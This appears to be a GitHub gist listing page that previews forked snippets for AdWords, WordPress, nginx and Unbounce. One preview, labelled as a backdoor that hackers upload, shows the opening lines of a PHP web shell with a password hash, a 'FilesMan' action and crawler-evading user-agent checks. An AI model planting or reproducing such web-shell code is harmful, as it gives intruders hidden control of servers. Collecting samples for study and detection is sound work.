Skip to content

Instantly share code, notes, and snippets.

@blueprintmrk
blueprintmrk / Check If You've Screwed Up Your AdWords Account v2.js
Last active July 21, 2018 17:38 — forked from BrainlabsDigital/Check If You've Screwed Up Your AdWords Account v2.js
Script to check keyword, ad and extension text for basic errors or out-of-date messaging.
/**
*
* AdWords Script for keyword and ad checking.
* Checks keyword text for punctuation suggesting the wrong match type, checks
* broad match keywords for missing BMM. Checks ad, sitelink and callout text
* for text that suggests ads are out-of-date (like previous years and seasonal
* events) and for common English spelling mistakes.
*
* Version: 2.1
* Updated 2017-01-05: changed 'CreativeApprovalStatus' to 'CombinedApprovalStatus'
@blueprintmrk
blueprintmrk / Broad match keyword aggregating.js
Created June 30, 2018 23:57 — forked from BrainlabsDigital/Broad match keyword aggregating.js
Script to aggregate your broad match keywords
/**
*
* Broad-match keyword aggregator script
* This script will group equivalent broad match keywords and label based on performence
*
* Version: 1.1
* Updated 2016-10-11: replaced 'ConvertedClicks' with 'Conversions'
* Google AdWords Script maintained by brainlabsdigital.com
*
**/
@blueprintmrk
blueprintmrk / the_thing.sh
Created April 10, 2018 16:16 — forked from digitaldesigndj/the_thing.sh
Pantheon WP CLI Terminus Search Replace
#!/bin/bash
terminus wp 'search-replace live-serviceaide.pantheonsite.io dev-serviceaide.pantheon.io --skip-columns=guid' --site=wordpress --env=dev
function my_assets() {
wp_register_script( 'owl-carousel', get_stylesheet_directory_uri() . '/owl.carousel.js', array( 'jquery' ) );
wp_enqueue_script( 'owl-carousel' );
}
add_action( 'wp_enqueue_scripts', 'my_assets' );
function my_assets() {
wp_register_script( 'owl-carousel', get_stylesheet_directory_uri() . '/owl.carousel.js', array( 'jquery' ) );
wp_enqueue_script( 'owl-carousel' );
}
add_action( 'wp_enqueue_scripts', 'my_assets' );

Rewrite rules for Multisite using subdomains

map $http_host $blogid { default -999;

#Ref: http://wordpress.org/extend/plugins/nginx-helper/
#include /var/www/wordpress/wp-content/plugins/nginx-helper/map.conf ;

}

@blueprintmrk
blueprintmrk / ubAdwordsCallTracking.html
Created January 3, 2018 19:43 — forked from johnnyopao/ubAdwordsCallTracking.html
Unbounce - Adwords Call tracking - Consolidated (text/links/buttons) - See full instructions here: http://documentation.unbounce.com/hc/en-us/articles/203509834
<script>
// NOTE: If you want to track these links as conversion goals on Unbounce,
// change 'clkn' to 'clkg' in the commented areas below
// Add the button ID's to this array that you want tracked
// For example: ['#lp-pom-button-12', '#lp-pom-button-20']
var callButtons = [];
var ubCallback = function(formatted_number, unformatted_number) {
var numberLinks = document.getElementsByClassName('number_link');
@blueprintmrk
blueprintmrk / gist:2da6b05e61d41cd6d6e82705a868e1f6
Created January 1, 2018 20:09 — forked from dodyw/gist:8213007
Backdoor script type #2, usually uploaded by hacker to folder with 777 permission.
<?php
$auth_pass = "460c3646e4c75a4fae5c8fe817e0c435";
$color = "#00FF66";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action = 'FilesMan';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@blueprintmrk
blueprintmrk / critcss.snippet.js
Last active December 27, 2017 22:31 — forked from pibby/critcss.snippet.js
Critical CSS Finder w/media query support for those of us who write mobile-first CSS; will output to console; configurable viewport height on line 12.
/* Critical CSS Finder w/media query support and output to console
by Katie Harron - https://github.com/pibby - https://pibby.com
forked from james-Ballyhoo (https://gist.github.com/james-Ballyhoo/04761ed2a5778c505527) who forked from PaulKinlan (https://gist.github.com/PaulKinlan/6284142)
I don't know why this isn't keeping my 2 space indents :(
*/
(function() {
function findCriticalCSS(w, d) {
// Pseudo classes formatting
var formatPseudo = /([^\s,\:\(])\:\:?(?!not)[a-zA-Z\-]{1,}(?:\(.*?\))?/g;
@blueprintmrk
blueprintmrk / 0_reuse_code.js
Created February 13, 2017 17:18
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console